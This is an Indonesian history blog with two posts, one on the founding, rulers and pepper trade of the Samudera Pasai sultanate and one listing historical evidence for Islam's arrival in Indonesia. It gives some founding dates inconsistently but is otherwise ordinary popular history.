Berdasarkan berita Marcopolo (thn. 1292) dan Ibnu Batutah (abad 13). Pada tahun 1267 telah berdiri kerajaan Islam pertama di Indonesia, yaitu Kerajaan Samudra Pasai. Hal ini juga dibuktikan dengan adanya Batu nisan makam Sultan Malik Al Saleh (th 1297) Raja pertama Kerajaan Samudra Pasai.

Kesultanan Samudera Pasai, juga dikenal dengan Samudera, Pasai, atau Samudera Darussalam, adalah Kerajaan Islam yang terletak di pesisir pantai utara Sumatera, kurang lebih di sekitar Kota Lhokseumawe, Aceh Utara sekarang. Kerajaan Samudra Pasai berdiri sekitar abad 13 oleh Nazimuddin Al-Kamil, seorang laksamana laut Mesir. Pada Tahun 1283 Pasai dapat ditaklukannnya, kemudian mengangkat Marah Silu menjadi Raja Pasai pertama dengan gelar Sultan Malik Al Saleh (1285 - 1297). Makam Nahrasyiah Tri Ibnu Battutah, musafir Islam terkenal asal Maroko, mencatat hal yang sangat berkesan bagi dirinya saat mengunjungi sebuah kerajaan di pesisir pantai timur Sumatera sekitar tahun 1345 Masehi. Setelah berlayar selama 25 hari
dari Barhnakar (sekarang masuk wilayah Myanmar), Battutah mendarat di sebuah tempat yang sangat subur. Perdagangan di daerah itu sangat maju, ditandai dengan penggunaan mata uang emas. Ia semakin takjub karena ketika turun ke kota ia mendapati sebuah kota besar yang sangat indah dengan dikelilingi dinding dan menara kayu.

Kota perdagangan di pesisir itu adalah ibu kota Kerajaan Samudera Pasai. Samudera Pasai (atau Pase jika mengikuti sebutan masyarakat setempat) bukan hanya tercatat sebagai kerajaan yang sangat berpengaruh dalam pengembangan Islam di Nusantara. Pada masa pemerintahan Sultan Malikul Dhahir, Samudera Pasai berkembang menjadi pusat perdagangan internasional. Pelabuhannya diramaikan oleh pedagang-pedagang dari Asia, Afrika, Cina, dan Eropa.

Kejayaan Samudera Pasai yang berada di daerah Samudera Geudong, Aceh Utara, diawali dengan penyatuan sejumlah kerajaan kecil di daerah Peurelak, seperti Rimba Jreum dan Seumerlang. Sultan Malikussaleh adalah salah seorang keturunan kerajaan itu yang menaklukkan beberapa kerajaan kecil dan mendirikan Kerajaan Samudera pada tahun 1270 Masehi. Makam Abdullah ibnu Muhammad ibnu Abdul Kadir.

Ia menikah dengan Ganggang Sari, seorang putri dari kerajaan Islam Peureulak. Dari pernikahan itu, lahirlah dua putranya yang bernama Malikul Dhahir dan Malikul Mansyur. Setelah keduanya beranjak dewasa, Malikussaleh menyerahkan takhta kepada anak sulungnya Malikul Dhahir. Ia mendirikan kerajaan baru bernama Pasai. Ketika Malikussaleh mangkat, Malikul Dhahir menggabungkan kedua kerajaan itu menjadi Samudera Pasai.

Dalam kisah perjalanannya ke Pasai, Ibnu Battutah menggambarkan Sultan Malikul Dhahir sebagai raja yang sangat saleh, pemurah, rendah hati, dan mempunyai perhatian kepada fakir miskin. Meskipun ia telah menaklukkan banyak kerajaan, Malikul Dhahir tidak pernah bersikap jemawa. Kerendahan hatinya itu ditunjukkan sang raja saat menyambut rombongan Ibnu Battutah. Para tamunya dipersilakan duduk di atas hamparan kain, sedangkan ia langsung duduk di tanah tanpa beralas apa-apa.

Dengan cermin pribadinya yang begitu rendah hati, raja yang memerintah Samudera Pasai dalam kurun waktu 1297-1326 M ini, pada batu nisannya dipahat sebuah syair dalam bahasa Arab, yang artinya, ini adalah makam yang mulia Malikul Dhahir, cahaya dunia sinar agama.

Tercatat, selama abad 13 sampai awal abad 16, Samudera Pasai dikenal sebagai salah satu kota di wilayah Selat Malaka dengan bandar pelabuhan yang sangat sibuk. Bersamaan dengan Pidie, Pasai menjadi pusat perdagangan internasional dengan lada sebagai salah satu komoditas ekspor utama.

Saat itu Pasai diperkirakan mengekspor lada sekitar 8.000- 10.000 bahara setiap tahunnya, selain komoditas lain seperti sutra, kapur barus, dan emas yang didatangkan dari daerah pedalaman. Bukan hanya perdagangan ekspor impor yang maju. Sebagai bandar dagang yang maju, Samudera Pasai mengeluarkan mata uang sebagai alat pembayaran. Salah satunya yang terbuat dari emas dikenal sebagai uang dirham.

Hubungan dagang dengan pedagang-pedagang Pulau Jawa juga terjalin. Produksi beras dari Jawa ditukar dengan lada. Pedagang-pedagang Jawa mendapat kedudukan yang istimewa di pelabuhan Samudera Pasai. Mereka dibebaskan dari pembayaran cukai.

Terima Kasih atas kunjungannya ke blog Ini…

Tolong tinggalkan komentar anda setelah membaca ataupun meng-copy isi blog ini…


Lestarikan Sejarah Bangsa Kita…



Baca Lanjutannya



continue reading Sejarah Terbentuknya Kesultanan Samudra Pasai

Senin, 04 Januari 2010

Bukti-Bukti M asuk Dan Berkembangnya Islam di Indonesia

Udah Lama Nie Libur, maklum Liburan Tahun BaRu hhe...

Okeh kita lanjutin lagi pembahasan sejarahnya,

Berhubung Sejarah Hindu-Budha Udah Selesai Saya Lanjut Lagi Nie Ng'bahas Masuknya ISlam di Indonesia, Selamat Membaca....


Proses masuk dan berkmbangnya Islam di Indonesia berlangsung secara bertahap dalam waktu ratusan tahun dan berlangsung secara damai. Sumber-sumber sejarah yang mengemukakan proses masuk dan berkembangnya islam di indonesia, antara lain sebagai berikut:

  1. Berita Cina Dari Dinasti Tang


Berita cina dari Dinasti Tang memberitakan bahwa pada sekitar tahun 674 M, orang-orang Ta shih (orang-orang islam dari arab dan persia) membatalkan niatnya menyerang kerajaan Ho Ling (Kalingga) karena Ratu Sima yang berukuasa di kerajaan tersebut masih sangat kuat.


  1. Berita Jepang(749 M)


Dijelaskan bahwa di Kanton terdapat kapal-kapal Po-sse Ta Shih Kuo. Istilah po-sse ditafsirkan sebagi orang melayu, sedangkan ta shih ditafsirkan sebagai orang-orang arab dan persia. Bahkan banyak ahli menduga bahwa pada abad ke-7 dan 8 di Kanfu (Kanton) sudah ada perkampungan-perkampungan muslim.


  1. Batu Nisan Fatimah Binti Maimun di Leran (Gresik)


Batu nisan ini berangka tahun 475 Hijriah atau 1082 M, sezaman dengan masa Kerajaan Kediri. Peninggalan sejarah ini, menjadi bukti bahwa agama islam sudah masuk ke daerah Jawa Timur.


  1. Berita Marcopolo dari Venesia, Italia


Marcopolo mendapat tugas dari Kaisar Cina untuk mengantar putrinya yang dipersembahkan kepada Kaisar Romawi. Dalam perjalanan menuju romawi pada tahun 1292 dan perjalanan pulang kembali ke Cina pada tahun 1297, ia singgah di Sumatra bagian utara. Ia menulskan bahwa di wilayah itu sudah ada beberapa kerajaan Islam, seperti Lamuri, Fansur, Barus, Perlis, Perlak, dan Samudra Pasai. Walaupun demikian, masih banyak pula wilayah yang belum menganut agama Islam.


  1. Makam Sultan Malik al Shaleh


Sultan Malik al Shaleh merupakan seorang raja dari kerajaan Samudra Pasai. Ia wafat pada bulan Ramadhan 676 H (1297 M). baik batu nisan Fatimah binti Maimun maupun nisan Sultan Malik al Shaleh terbuat dari batu pualam dari Gujarat. Berdasarkan peninggalan tersebut, banyak ahli menyimpulkan bahwa agama islam di indonesia berasal dari Gujarat. Berdasarkan peninggalan ini juga, dapat disimpulkan bahwa untuk pertama kalinya muncul seorang raja beragama islam dengan gelar “Sultan”


  1. Berita dari Ma-Huan (1416 M)


Ma-Huan adalah seorang penulis yang mengikuti pelayaran Laksamana Cheng-ho pada tahun 1400-an. Ia menuliskan bahwa sudah ada saudagar-saudagar islam yang bertempat tinggal di Pantai Utara Jawa (Gresik).


  1. Kompleks Makam Tralaya di Trowulan, Mojokerto


Kompleks makam islam Tralaya di Trowulan terdiri atas makam-makam dengan nisan berangka tahun 1369 sampai denga 1611. hal ini membuktikan bahwa di ibukota Majapahit Trowulan pada masa puncak kejayaan Majapahit, sudah ada masyarakat yang menganut agama islam.


Terima Kasih atas kunjungannya ke blog Ini…

Tolong tinggalkan komentar anda setelah membaca ataupun meng-copy isi blog ini…


Lestarikan Sejarah Bangsa Kita…



Baca Lanjutannya


continue reading Bukti-Bukti M asuk Dan Berkembangnya Islam di Indonesia